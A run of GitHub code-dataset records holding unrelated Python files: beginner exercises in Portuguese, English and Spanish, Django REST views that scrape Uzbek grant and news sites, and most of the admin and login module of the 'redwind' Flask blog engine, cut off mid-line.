print(\"Operação falhou! O valor do saque excede o limite.\")\r\n\r\n elif excedeu_saques: # Caso o número de saques já exceda o limite permitido\r\n print(\"Operação falhou! Número máximo de saques excedidos.\")\r\n\r\n elif valor > 0: # Caso o valor informado seja maior que zero\r\n saldo -= valor # Subtrai o valor informado do saldo\r\n extrato += f\"Saque: R$ {valor:.2f}\\n\" # Adiciona a descrição do saque ao extrato\r\n numero_saque += 1 # Adiciona 1 ao contador de saques realizados\r\n\r\n else: # Caso o valor informado seja menor ou igual a zero\r\n print(\"Operação falhou! O valor informado é invalido.\") # Apresenta mensagem de erro\r\n\r\n # Operação de apresentação do extrato\r\n elif opcao == \"e\":\r\n print(\"\\n================ EXTRATO ================\")\r\n print(\"não foram realizadas movimentações.\" if not extrato else extrato) # Verifica se há movimentações no extrato para apresentá-las\r\n print(f\"\\nSaldo: R$ {saldo:.2f}\") # Apresenta o saldo atual\r\n print(\"===========================================\")\r\n\r\n elif opcao == \"q\":\r\n # se a opção selecionada for \"q\" (sair), interrompe o loop while com o comando \"break\"\r\n break\r\n\r\n else:\r\n # caso contrário, a opção é inválida e exibe uma mensagem pedindo para selecionar novamente\r\n print(\"Operação inválida, por favor selecione novamente a operação desejada.\")\r\n\r\n","repo_name":"guisilva-7/Projetos-Iniciais","sub_path":"Sistema básico bancário.py","file_name":"Sistema básico bancário.py","file_ext":"py","file_size_in_byte":3118,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37297685590","text":"from django.shortcuts import render\nfrom django.contrib.auth.models import User\n\nfrom .models import *\nfrom .serializers import *\nimport requests\nfrom bs4 import BeautifulSoup\n# Create your views here.\n# from django.db.models import Max,Min,Q as SearchQ\n\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view,authentication_classes,permission_classes,action\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.permissions import IsAuthenticated,AllowAny,IsAdminUser\nfrom rest_framework.authentication import TokenAuthentication\nfrom rest_framework import viewsets\nfrom django.contrib.auth import authenticate\n\n\nclass RahbarlarViewSet(viewsets.ModelViewSet):\n queryset = Rahbarlar.objects.all()\n serializer_class = LoaderRahbarlar\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n\n\n\nclass IshlarViewSet(viewsets.ModelViewSet):\n queryset = Ishlar.objects.all()\n serializer_class = LoaderIshlar\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n\nclass ArizaViewSet(viewsets.ModelViewSet):\n queryset = Ariza.objects.all()\n serializer_class = LoaderAriza\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"create\" or self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n\nclass BaholashMezonViewSet(viewsets.ModelViewSet):\n queryset = BaholashMezon.objects.all()\n serializer_class = LoaderBaholashMezon\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n\nclass BaholashViewSet(viewsets.ModelViewSet):\n queryset = Baholash.objects.all()\n serializer_class = LoaderBaholash\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n\nclass HududlarViewSet(viewsets.ModelViewSet):\n queryset = Hududlar.objects.all()\n serializer_class = LoaderHududlar\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n\ndef get_data_tanlovlar(url):\n tanovlar = []\n url = url\n get_all = requests.get(url)\n html = BeautifulSoup(get_all.text,'html.parser')\n cards = html.find(class_=\"trends__content cards\")\n for i in cards.find_all(class_=\"col-sm-6 col-xl-4\"):\n img = i.find(\"img\")['src']\n link = \"https://grant.mininnovation.uz/\"+i.find(\"a\")['href']\n date = i.find(\"p\").get_text()\n title = i.find(class_=\"text__three-line\").get_text()\n mudat = i.find(class_=\"card__footer-bottom\").find(\"a\").get_text().split()\n tanovlar.append(\n {'title':title,\"img\":img,\"link\":link,\"sana\":date,\"mudat\":\" \".join(mudat)}\n )\n return tanovlar\n\n\n@api_view(['get'])\ndef Api_Tanlovlar(request):\n tanovlar = []\n url = \"https://grant.mininnovation.uz/tour/index\"\n tanlovlar = get_data_tanlovlar(url)\n get_all = requests.get(url)\n html = BeautifulSoup(get_all.text,'html.parser')\n pagination = html.find(class_=\"pagination\")\n for i in pagination.find_all(class_=\"page-item\"):\n for data in get_data_tanlovlar(\"https://grant.mininnovation.uz\"+i.find(\"a\")['href']):\n tanlovlar.append(data)\n \n DATA = {\n \"tanlovalar\":tanlovlar,\n }\n return Response(DATA)\n\n\n# @api_view(['get'])\n# def Api_Tanlovlar(request):\n# DATA = {\n# \"tanlovalar\": [\n \n# ]\n# }\n# return Response(DATA)\n\n\ndef get_data_news(url):\n tanovlar = []\n url = url\n get_all = requests.get(url)\n html = BeautifulSoup(get_all.text,'html.parser')\n cards = html.find('table')\n # print(cards)\n for i in cards.find_all(\"td\"):\n img = i.find(\"img\")\n if img == None:\n continue\n\n img = img['src']\n print(img)\n # link = \"https://grant.mininnovation.uz/\"+i.find(\"a\")['href']\n date = i.find_all(\"span\")[-1].get_text()\n manba = i.find(\"span\").find(\"a\")\n manba_nomi = manba.get_text()\n manba = manba['href']\n title = i.find(\"a\")\n link = \"https://edu.uz/\"+title['href']\n title=title.get_text()\n text=i.find('p',class_='blog_text')\n text=text.find_next_sibling('p')\n print(text)\n if text == None:\n pass\n else:\n text=text.get_text()\n tanovlar.append(\n {\"title\":title,\"text\":text,\"link\":link,\"img\":img,\"sana\":date,\"manba_link\":manba,\"manba_nomi\":manba_nomi}\n )\n return tanovlar\n\nclass NewViewSet(viewsets.ModelViewSet):\n queryset = New.objects.all()\n serializer_class = LoaderNew\n permission_classes = [IsAdminUser]\n \n def get_permissions(self):\n if self.action == \"list\" or self.action == 'retrieve':\n return [AllowAny()]\n\n return [IsAdminUser()]\n \n def list(self, request):\n queryset = New.objects.all().order_by('-id')\n serializer = LoaderNew(queryset, many=True)\n \n eduuz = get_data_news(\"https://edu.uz/uz/news/index\")\n\n DATA = {\n \"edu\":eduuz,\n \"local\":serializer.data\n }\n return Response(DATA)\n # def list(self, request):\n # queryset = New.objects.all()\n # serializer = LoaderNew(queryset, many=True)\n # eduuz = [ ]\n\n # DATA = {\n # \"edu\":eduuz,\n # \"local\":serializer.data\n # }\n # return Response(DATA)\n \n@api_view(['post'])\ndef Api_Login(request):\n print(request.data)\n username = request.data['username']\n password = request.data['password']\n try:\n user=User.objects.get(username=username)\n if user.check_password(password):\n try:\n token=Token.objects.get(user=user)\n except:\n token=Token.objects.create(user=user)\n return Response({\"status\":True,\"token\":token.key})\n else:\n return Response({\"status\":False},status=400)\n except Exception as r:\n print(r)\n return Response({\"status\":False},status=400)\n","repo_name":"NAVIdeveloper/OliyTalim","sub_path":"ApiApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18790714312","text":"\ncondition = False\n\nstudent_tickets = 0\nstandard_tickets = 0\nkid_tickets = 0\n\ntotal_tickets_movies = 0\n\nwhile True:\n total_tickets = 0\n name_movie = input()\n if name_movie == 'Finish':\n condition = True\n break\n\n free_seats = int(input())\n\n while total_tickets < free_seats:\n type_ticket = input()\n if type_ticket == 'End':\n break\n total_tickets += 1\n total_tickets_movies += 1\n\n if type_ticket == 'student':\n student_tickets += 1\n elif type_ticket == 'standard':\n standard_tickets += 1\n elif type_ticket == 'kid':\n kid_tickets += 1\n\n percentage_hall = (total_tickets * 100) / free_seats\n print(f\"{name_movie} - {percentage_hall:.2f}% full.\")\n\nif condition:\n student_tickets_percentage = (student_tickets * 100) / total_tickets_movies\n standard_tickets_percentage = (standard_tickets * 100) / total_tickets_movies\n kid_tickets_percentage = (kid_tickets * 100) / total_tickets_movies\n print(f\"Total tickets: {total_tickets_movies}\")\n print(f\"{student_tickets_percentage:.2f}% student tickets.\")\n print(f\"{standard_tickets_percentage:.2f}% standard tickets.\")\n print(f\"{kid_tickets_percentage:.2f}% kids tickets.\")\n","repo_name":"azashev/Programming-Basics-with-Python-training","sub_path":"Programming Basics Exam - 6 and 7 April 2019/cinema_tickets.py","file_name":"cinema_tickets.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"35482788390","text":"#Creo mi diccionario de ciudades\nciudades = {\n \"68001\" : \"Bucaramanga\",\n \"68276\" : \"Floridablanca\",\n \"11001\" : \"Bogotá\",\n \"05001\" : \"Medellín\",\n \"54001\" : \"Cúcuta\",\n \"63001\" : \"Armenia\",\n \"66001\" : \"Pereira\"\n}\n\nrepetir = \"s\"\n\nwhile repetir == \"s\" or repetir == \"S\" or repetir == \"SI\" or repetir == \"si\":\n codigo = input(\"Dime el código de la ciudad: \")\n\n try:\n ciudad = ciudades[codigo]\n print(\"La ciudad es\", ciudad)\n except KeyError:\n print(\"No tengo registrado ese código en mi base de datos\")\n\n respuesta = input(\"¿Quieres agregar el municipio? (s/n) \")\n if respuesta == \"s\" or respuesta == \"S\" or respuesta == \"SI\" or respuesta == \"si\":\n ciudad = input(\"Nombre del municipio: \")\n ciudades[codigo] = ciudad\n\n repetir = input(\"¿Quieres consultar otro código? (s/n)\")","repo_name":"diegun99/proyectos","sub_path":"ciudades.py","file_name":"ciudades.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6088789789","text":"from flask import Blueprint, render_template, request, current_app, abort\nfrom flask import flash, redirect, url_for, session, make_response\nfrom redwind import contexts\nfrom redwind import hooks\nfrom redwind import maps\nfrom redwind import util\nfrom redwind.extensions import db\nfrom redwind.models import Post, Attachment, Tag, Contact, Mention, Nick\nfrom redwind.models import Venue, Setting, User, Credential, get_settings\nfrom requests_oauthlib import OAuth1Session\nfrom werkzeug import secure_filename\nimport bs4\nimport collections\nimport datetime\nimport flask.ext.login as flask_login\nimport hashlib\nimport itertools\nimport json\nimport mf2py\nimport mf2util\nimport mimetypes\nimport operator\nimport os\nimport os.path\nimport random\nimport requests\nimport shutil\nimport string\nimport urllib\nimport urllib.parse\nimport urllib.request\n\nadmin = Blueprint('admin', __name__)\n\n\n@admin.context_processor\ndef inject_settings_variable():\n return {\n 'settings': get_settings()\n }\n\n\ndef get_tags():\n return [t.name for t in Tag.query.all()]\n\n\ndef get_contact_nicks():\n return [n.name\n for c in Contact.query.all()\n for n in c.nicks]\n\n\ndef get_top_tags(n=10):\n \"\"\"\n Determine top-n tags based on a combination of frequency and receny.\n ref: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Places/\n Frecency_algorithm\n \"\"\"\n rank = collections.defaultdict(int)\n now = datetime.datetime.utcnow()\n\n entries = Post.query.join(Post.tags).values(Post.published, Tag.name)\n for published, tag in entries:\n weight = 0\n if published:\n if published.tzinfo:\n published = published.astimezone(datetime.timezone.utc)\n published = published.replace(tzinfo=None)\n delta = now - published\n if delta < datetime.timedelta(days=4):\n weight = 1.0\n elif delta < datetime.timedelta(days=14):\n weight = 0.7\n elif delta < datetime.timedelta(days=31):\n weight = 0.5\n elif delta < datetime.timedelta(days=90):\n weight = 0.3\n elif delta < datetime.timedelta(days=730):\n weight = 0.1\n rank[tag] += weight\n\n ordered = sorted(list(rank.items()), key=operator.itemgetter(1),\n reverse=True)\n return [key for key, _ in ordered[:n]]\n\n\n@admin.route('/new/')\n@admin.route('/new', defaults={'type': 'note'})\ndef new_post(type):\n if type not in util.POST_TYPES:\n abort(404)\n\n post = Post(type)\n post.published = post.updated = datetime.datetime.utcnow()\n post.content = ''\n\n if type == 'reply':\n in_reply_to = request.args.get('url')\n if in_reply_to:\n post.in_reply_to = [in_reply_to]\n\n elif type == 'share':\n repost_of = request.args.get('url')\n if repost_of:\n post.repost_of = [repost_of]\n\n elif type == 'like':\n like_of = request.args.get('url')\n if like_of:\n post.like_of = [like_of]\n\n elif type == 'bookmark':\n bookmark_of = request.args.get('url')\n if bookmark_of:\n post.bookmark_of = [bookmark_of]\n\n post.content = request.args.get('content')\n button_text = {\n 'publish': 'Publish',\n 'publish_quietly': 'Publish Quietly',\n 'publish+tweet': 'Publish & Tweet',\n 'save_draft': 'Save as Draft',\n }\n\n venues = Venue.query.order_by(Venue.name).all()\n return render_template('admin/edit_' + type + '.jinja2',\n edit_type='new', post=post,\n tags=get_tags(), top_tags=get_top_tags(20),\n people=get_contact_nicks(),\n button_text=button_text, venues=venues)\n\n\n@admin.route('/edit')\n@flask_login.login_required\ndef edit_by_id():\n id = request.args.get('id')\n if not id:\n abort(404)\n post = Post.load_by_id(id)\n if not post:\n abort(404)\n type = 'post'\n if not request.args.get('advanced') and post.post_type:\n type = post.post_type\n\n if post.draft:\n button_text = {\n 'publish': 'Publish Draft',\n 'publish_quietly': 'Publish Draft Quietly',\n 'publish+tweet': 'Publish Draft & Tweet',\n 'save_draft': 'Resave Draft',\n }\n else:\n button_text = {\n 'publish': 'Republish',\n 'publish_quietly': 'Republish Quietly',\n 'publish+tweet': 'Republish & Tweet',\n 'save_draft': 'Unpublish, Save as Draft',\n }\n\n template = 'admin/edit_' + type + '.jinja2'\n if request.args.get('full'):\n template = 'admin/edit_post_all.jinja2'\n\n venues = Venue.query.order_by(Venue.name).all()\n return render_template(template, edit_type='edit', post=post,\n tags=get_tags(), top_tags=get_top_tags(20),\n people=get_contact_nicks(),\n button_text=button_text, venues=venues)\n\n\n@admin.route('/uploads')\ndef uploads_popup():\n return render_template('uploads_popup.jinja2')\n\n\n@admin.route('/save_edit', methods=['POST'])\n@flask_login.login_required\ndef save_edit():\n id = request.form.get('post_id')\n current_app.logger.debug('saving post %s', id)\n post = Post.load_by_id(id)\n return save_post(post)\n\n\n@admin.route('/save_new', methods=['POST'])\n@flask_login.login_required\ndef save_new():\n post_type = request.form.get('post_type', 'note')\n current_app.logger.debug('saving new post of type %s', post_type)\n post = Post(post_type)\n return save_post(post)\n\n\ndef save_post(post):\n was_draft = post.draft\n pub_str = request.form.get('published')\n if pub_str:\n post.published = mf2util.parse_dt(pub_str)\n if post.published.tzinfo:\n post.published = post.published.astimezone(datetime.timezone.utc)\\\n .replace(tzinfo=None)\n\n if 'post_type' in request.form:\n post.post_type = request.form.get('post_type')\n\n start_str = request.form.get('start')\n if start_str:\n start = mf2util.parse_dt(start_str)\n if start:\n post.start = start\n post.start_utcoffset = start.utcoffset()\n\n end_str = request.form.get('end')\n if end_str:\n end = mf2util.parse_dt(end_str)\n if end:\n post.end = end\n post.end_utcoffset = end.utcoffset()\n\n now = datetime.datetime.utcnow()\n if not post.published or was_draft:\n post.published = now\n post.updated = now\n\n # populate the Post object and save it to the database,\n # redirect to the view\n post.title = request.form.get('title', '')\n post.content = request.form.get('content')\n post.draft = request.form.get('action') == 'save_draft'\n post.hidden = request.form.get('hidden', 'false') == 'true'\n post.friends_only = request.form.get('friends_only', 'false') == 'true'\n\n venue_name = request.form.get('new_venue_name')\n venue_lat = request.form.get('new_venue_latitude')\n venue_lng = request.form.get('new_venue_longitude')\n if venue_name and venue_lat and venue_lng:\n venue = Venue()\n venue.name = venue_name\n venue.location = {\n 'latitude': float(venue_lat),\n 'longitude': float(venue_lng),\n }\n venue.update_slug('{}-{}'.format(venue_lat, venue_lng))\n db.session.add(venue)\n db.session.commit()\n hooks.fire('venue-saved', venue, request.form)\n post.venue = venue\n\n else:\n venue_id = request.form.get('venue')\n if venue_id:\n post.venue = Venue.query.get(venue_id)\n\n lat = request.form.get('latitude')\n lon = request.form.get('longitude')\n if lat and lon:\n if post.location is None:\n post.location = {}\n\n post.location['latitude'] = float(lat)\n post.location['longitude'] = float(lon)\n loc_name = request.form.get('location_name')\n if loc_name is not None:\n post.location['name'] = loc_name\n else:\n post.location = None\n\n for url_attr, context_attr in (('in_reply_to', 'reply_contexts'),\n ('repost_of', 'repost_contexts'),\n ('like_of', 'like_contexts'),\n ('bookmark_of', 'bookmark_contexts')):\n url_str = request.form.get(url_attr)\n if url_str is not None:\n urls = util.multiline_string_to_list(url_str)\n setattr(post, url_attr, urls)\n\n # fetch contexts before generating a slug\n contexts.fetch_contexts(post)\n\n if 'item-name' in request.form:\n post.item = util.trim_nulls({\n 'name': request.form.get('item-name'),\n 'author': request.form.get('item-author'),\n 'photo': request.form.get('item-photo'),\n })\n if 'rating' in request.form:\n rating = request.form.get('rating')\n post.rating = int(rating) if rating else None\n\n syndication = request.form.get('syndication')\n if syndication is not None:\n post.syndication = util.multiline_string_to_list(syndication)\n\n audience = request.form.get('audience')\n if audience is not None:\n post.audience = util.multiline_string_to_list(audience)\n\n tags = request.form.getlist('tags')\n if post.post_type != 'article' and post.content:\n # parse out hashtags as tag links from note-like posts\n tags += util.find_hashtags(post.content)\n tags = list(filter(None, map(util.normalize_tag, tags)))\n post.tags = [Tag.query.filter_by(name=tag).first() or Tag(tag)\n for tag in tags]\n\n post.people = []\n people = request.form.getlist('people')\n for person in people:\n nick = Nick.query.filter_by(name=person).first()\n if nick:\n post.people.append(nick.contact)\n\n slug = request.form.get('slug')\n if slug:\n post.slug = util.slugify(slug)\n elif not post.slug or was_draft:\n post.slug = post.generate_slug()\n\n # events should use their start date for permalinks\n path_date = post.start or post.published\n\n if post.draft:\n m = hashlib.md5()\n m.update(bytes(path_date.isoformat() + '|' + post.slug,\n 'utf-8'))\n post.path = 'drafts/{}'.format(m.hexdigest())\n\n elif not post.path or was_draft:\n base_path = '{}/{:02d}/{}'.format(\n path_date.year, path_date.month, post.slug)\n # generate a unique path\n unique_path = base_path\n idx = 1\n while Post.load_by_path(unique_path):\n unique_path = '{}-{}'.format(base_path, idx)\n idx += 1\n post.path = unique_path\n\n # generate short path\n if not post.short_path:\n short_base = '{}/{}'.format(\n util.tag_for_post_type(post.post_type),\n util.base60_encode(util.date_to_ordinal(path_date)))\n short_paths = set(\n row[0] for row in db.session.query(Post.short_path).filter(\n Post.short_path.startswith(short_base)).all())\n for idx in itertools.count(1):\n post.short_path = short_base + util.base60_encode(idx)\n if post.short_path not in short_paths:\n break\n\n infiles = request.files.getlist('files') + request.files.getlist('photo')\n current_app.logger.debug('infiles: %s', infiles)\n for infile in infiles:\n if infile and infile.filename:\n current_app.logger.debug('receiving uploaded file %s', infile)\n attachment = create_attachment_from_file(post, infile)\n os.makedirs(os.path.dirname(attachment.disk_path), exist_ok=True)\n infile.save(attachment.disk_path)\n post.attachments.append(attachment)\n\n photo_url = request.form.get('photo')\n if photo_url:\n current_app.logger.debug('downloading photo from url %s', photo_url)\n temp_filename, headers = urllib.request.urlretrieve(photo_url)\n content_type = headers.get('content-type', '')\n mimetype = content_type and content_type.split(';')[0].strip()\n filename = os.path.basename(urllib.parse.urlparse(photo_url).path)\n attachment = create_attachment(post, filename, mimetype)\n os.makedirs(os.path.dirname(attachment.disk_path), exist_ok=True)\n shutil.copyfile(temp_filename, attachment.disk_path)\n urllib.request.urlcleanup()\n post.attachments.append(attachment)\n\n # pre-render the post html\n html = util.markdown_filter(post.content, img_path=post.get_image_path())\n html = util.autolink(html)\n if post.post_type == 'article':\n html = util.process_people_to_microcards(html)\n else:\n html = util.process_people_to_at_names(html)\n post.content_html = html\n\n if not post.id:\n db.session.add(post)\n db.session.commit()\n\n current_app.logger.debug('saved post %d %s', post.id, post.permalink)\n redirect_url = post.permalink\n\n hooks.fire('post-saved', post, request.form)\n return redirect(redirect_url)\n\n\ndef create_attachment_from_file(post, f, default_ext=None):\n return create_attachment(post, f.filename, f.mimetype, default_ext)\n\n\ndef create_attachment(post, filename, mimetype=None, default_ext=None):\n filename = secure_filename(filename)\n basename, ext = os.path.splitext(filename)\n if not mimetype:\n mimetype, _ = mimetypes.guess_type(filename)\n\n # special handling for ugly filenames from OwnYourGram\n if basename.startswith('tmp_') and ext.lower() in ('.png', '.jpg'):\n basename = 'photo'\n\n unique_filename = ''.join(\n random.choice(string.ascii_letters + string.digits)\n for _ in range(8)) + '-' + filename\n now = datetime.datetime.now()\n storage_path = '{}/{:02d}/{:02d}/{}'.format(\n now.year, now.month, now.day, unique_filename)\n\n idx = 0\n while True:\n if idx == 0:\n filename = '{}{}'.format(basename, ext)\n else:\n filename = '{}-{}{}'.format(basename, idx, ext)\n if filename not in [a.filename for a in post.attachments]:\n break\n idx += 1\n\n return Attachment(filename=filename,\n mimetype=mimetype,\n storage_path=storage_path)\n\n\ndef discover_endpoints(me):\n me_response = requests.get(me)\n if me_response.status_code != 200:\n return make_response(\n 'Unexpected response from URL: {}'.format(me_response), 400)\n soup = bs4.BeautifulSoup(me_response.text)\n auth_endpoint = soup.find('link', {'rel': 'authorization_endpoint'})\n token_endpoint = soup.find('link', {'rel': 'token_endpoint'})\n micropub_endpoint = soup.find('link', {'rel': 'micropub'})\n\n return (auth_endpoint and auth_endpoint['href'],\n token_endpoint and token_endpoint['href'],\n micropub_endpoint and micropub_endpoint['href'])\n\n\n@admin.route('/login_twitter')\ndef login_twitter():\n callback_url = url_for('.login_twitter', _external=True)\n try:\n oauth_session = OAuth1Session(\n client_key=get_settings().twitter_api_key,\n client_secret=get_settings().twitter_api_secret,\n callback_uri=callback_url)\n\n if 'oauth_token' not in request.args:\n oauth_session.fetch_request_token(\n 'https://api.twitter.com/oauth/request_token')\n return redirect(oauth_session.authorization_url(\n 'https://api.twitter.com/oauth/authenticate'))\n\n oauth_session.parse_authorization_response(request.url)\n oauth_session.fetch_access_token(\n 'https://api.twitter.com/oauth/access_token')\n user_response = oauth_session.get(\n 'https://api.twitter.com/1.1/account/verify_credentials.json')\n user_json = user_response.json()\n\n twid = user_json.get('id_str')\n screen_name = user_json.get('screen_name')\n cred = Credential.query.get(('twitter', twid))\n if not cred:\n cred = Credential(type='twitter', value=twid, display=screen_name)\n db.session.add(cred)\n db.session.commit()\n\n return do_login(cred, user_json.get('name'))\n\n except requests.RequestException as e:\n return make_response(str(e))\n\n\n@admin.route('/login_facebook')\ndef login_facebook():\n redirect_uri = url_for('.login_facebook', _external=True)\n params = {\n 'client_id': get_settings().facebook_app_id,\n 'redirect_uri': redirect_uri,\n }\n\n if 'code' not in request.args:\n return redirect('https://www.facebook.com/dialog/oauth?'\n + urllib.parse.urlencode(params))\n\n params['code'] = request.args.get('code')\n params['client_secret'] = get_settings().facebook_app_secret\n\n r = requests.get('https://graph.facebook.com/v2.3/oauth/access_token',\n params=params)\n\n access_token = r.json().get('access_token')\n r = requests.get('https://graph.facebook.com/v2.2/me',\n params={'access_token': access_token})\n\n user_json = r.json()\n fbid = user_json.get('id')\n name = user_json.get('name')\n\n cred = Credential.query.get(('facebook', fbid))\n if not cred:\n cred = Credential(type='facebook', value=fbid, display=name)\n db.session.add(cred)\n db.session.commit()\n\n return do_login(cred, user_json.get('name'))\n\n\n@admin.route('/login')\ndef login():\n me = request.args.get('me')\n if not me:\n return render_template('admin/login.jinja2',\n next=request.args.get('next'))\n\n # if current_app.config.get('BYPASS_INDIEAUTH'):\n # user = auth.load_user(urllib.parse.urlparse(me).netloc)\n # current_app.logger.debug('Logging in user %s', user)\n # flask_login.login_user(user, remember=True)\n # flash('logged in as {}'.format(me))\n # current_app.logger.debug('Logged in with domain %s', me)\n # return redirect(request.args.get('next') or url_for('views.index'))\n\n if not me:\n return make_response('Missing \"me\" parameter', 400)\n if not me.startswith('http://') and not me.startswith('https://'):\n me = 'http://' + me\n auth_url, token_url, micropub_url = discover_endpoints(me)\n if not auth_url:\n auth_url = 'https://indieauth.com/auth'\n\n current_app.logger.debug('Found endpoints %s, %s, %s', auth_url, token_url,\n micropub_url)\n state = request.args.get('next')\n session['endpoints'] = (auth_url, token_url, micropub_url)\n\n auth_params = {\n 'me': me,\n 'client_id': get_settings().site_url,\n 'redirect_uri': url_for('.login_callback', _external=True),\n 'state': state,\n }\n\n # if they support micropub try to get read indie-config permission\n if token_url and micropub_url:\n auth_params['scope'] = 'config'\n\n return redirect('{}?{}'.format(\n auth_url, urllib.parse.urlencode(auth_params)))\n\n\n@admin.route('/login_callback')\ndef login_callback():\n current_app.logger.debug('callback fields: %s', request.args)\n\n state = request.args.get('state')\n next_url = state or url_for('views.index')\n # TODO rediscover these endpoints based on 'me'. Assuming\n # they are the same is not totally safe.\n auth_url, token_url, micropub_url = session['endpoints']\n\n if not auth_url:\n flash('Login failed: No authorization URL in session')\n return redirect(next_url)\n\n code = request.args.get('code')\n client_id = get_settings().site_url\n redirect_uri = url_for('.login_callback', _external=True)\n\n current_app.logger.debug('callback with auth endpoint %s', auth_url)\n response = requests.post(auth_url, data={\n 'code': code,\n 'client_id': client_id,\n 'redirect_uri': redirect_uri,\n 'state': state,\n })\n\n rdata = urllib.parse.parse_qs(response.text)\n if response.status_code != 200:\n current_app.logger.debug('call to auth endpoint failed %s', response)\n flash('Login failed {}: {}'.format(rdata.get('error'),\n rdata.get('error_description')))\n return redirect(next_url)\n\n current_app.logger.debug('verify response %s', response.text)\n if 'me' not in rdata:\n current_app.logger.debug('Verify response missing required \"me\" field')\n flash('Verify response missing required \"me\" field {}'.format(\n response.text))\n return redirect(next_url)\n\n me = rdata.get('me')[0]\n scopes = rdata.get('scope')\n\n try_micropub_config(token_url, micropub_url, scopes, code, me,\n redirect_uri, client_id, state)\n\n cred = Credential.query.get(('indieauth', me))\n if not cred:\n cred = Credential(type='indieauth', value=me, display=me)\n db.session.add(cred)\n db.session.commit()\n\n # offer to associate credential with existing user or create a new user\n p = mf2py.parse(url=me)\n hcard = mf2util.representative_hcard(p, me)\n author = hcard and mf2util.parse_author(hcard)\n\n return do_login(cred, author and author.get('name'), next_url)\n\n\ndef do_login(cred, name, next_url='/'):\n current_app.logger.debug(\n 'currently logged in as %s', flask_login.current_user)\n current_app.logger.debug('new credential is %s', cred)\n\n if not flask_login.current_user.is_anonymous() and (\n not cred.user or cred.user != flask_login.current_user):\n # do you want to associate this credential with the current user?\n session['credential'] = (cred.type, cred.value)\n session['name'] = name\n return redirect(url_for('.login_ask_to_associate', next=next_url))\n\n if not cred.user:\n cred.user = User(name=name)\n db.session.add(cred)\n db.session.commit()\n\n current_app.logger.debug('Logging in user %s', cred.user)\n flask_login.login_user(cred.user, remember=True)\n flash('Logged in as user %s' % cred.user.name)\n return redirect(next_url)\n\n\n@admin.route('/login_ask_to_associate')\ndef login_ask_to_associate():\n cred = Credential.query.get(session.get('credential'))\n current_app.logger.debug('credential %s', cred)\n return render_template('admin/associate_credential.jinja2',\n credential=cred,\n next=request.args.get('next'))\n\n\n@admin.route('/login_associate')\ndef login_associate():\n next_url = request.args.get('next')\n cred = Credential.query.get(session.pop('credential'))\n session.pop('name')\n cred.user = flask_login.current_user\n db.session.commit()\n return redirect(next_url or '/')\n\n\n@admin.route('/login_do_not_associate')\ndef login_do_not_associate():\n name = session.pop('name')\n cred = Credential.query.get(session.pop('credential'))\n next_url = request.args.get('next')\n\n if not cred.user:\n cred.user = User(name=name)\n db.session.commit()\n\n flask_login.login_user(cred.user, remember=True)\n return redirect(next_url)\n\n\ndef try_micropub_config(token_url, micropub_url, scopes, code, me,\n redirect_uri, client_id, state):\n if (not scopes or 'config' not in scopes\n or not token_url or not micropub_url):\n flash('Micropub not supported (which is fine).')\n return False\n\n token_response = requests.post(token_url, data={\n 'code': code,\n 'me': me,\n 'redirect_uri': redirect_uri,\n 'client_id': client_id,\n 'state': state,\n })\n\n if token_response.status_code != 200:\n flash('Unexpected response from token endpoint {}'.format(\n token_response))\n return False\n\n tdata = urllib.parse.parse_qs(token_response.text)\n if 'access_token' not in tdata:\n flash('Response from token endpoint missing '\n 'access_token {}'.format(tdata))\n return False\n\n access_token = tdata.get('access_token')[0]\n session['micropub'] = (micropub_url, access_token)\n\n flash('Got micropub access token {}'.format(access_token[:6] + '...'))\n\n actions_response = requests.get(micropub_url + '?q=actions', headers={\n 'Authorization': 'Bearer ' + access_token,\n })\n if actions_response.status_code != 200:\n current_app.logger.debug(\n 'Bad response to action handler query %s', actions_response)\n return False\n\n current_app.logger.debug('Successful action handler query %s',\n actions_response.text)\n actions_content_type = actions_response.headers.get('content-type', '')\n if 'application/json' in actions_content_type:\n adata = json.loads(actions_response.text)\n current_app.logger.debug('action handlers (json): %s', adata)\n session['action-handlers'] = adata\n else:\n adata = urllib.parse.parse_qs(actions_response.text)\n current_app.logger.debug('action handlers: %s', adata)\n session['action-handlers'] = {\n key: value[0] for key, value in adata.items()}\n return True\n\n\n@admin.route('/logout')\ndef logout():\n flask_login.logout_user()\n for key in ('action-handlers', 'endpoints', 'micropub'):\n if key in session:\n del session[key]\n return redirect(request.args.get('next', url_for('views.index')))\n\n\n@admin.route('/settings', methods=['GET', 'POST'])\n@flask_login.login_required\ndef edit_settings():\n if request.method == 'GET':\n return render_template('admin/settings.jinja2', raw_settings=sorted(\n Setting.query.all(), key=operator.attrgetter('name')))\n for key, value in request.form.items():\n Setting.query.get(key).value = value\n db.session.commit()\n\n return redirect(url_for('.edit_settings'))\n\n\n@admin.route('/delete')\n@flask_login.login_required\ndef delete_by_id():\n id = request.args.get('id')\n post = Post.load_by_id(id)\n if not post:\n abort(404)\n post.deleted = True\n db.session.commit()\n\n hooks.fire('post-deleted', post, request.args)\n redirect_url = request.args.get('redirect') or url_for('views.index')\n current_app.logger.debug('redirecting to 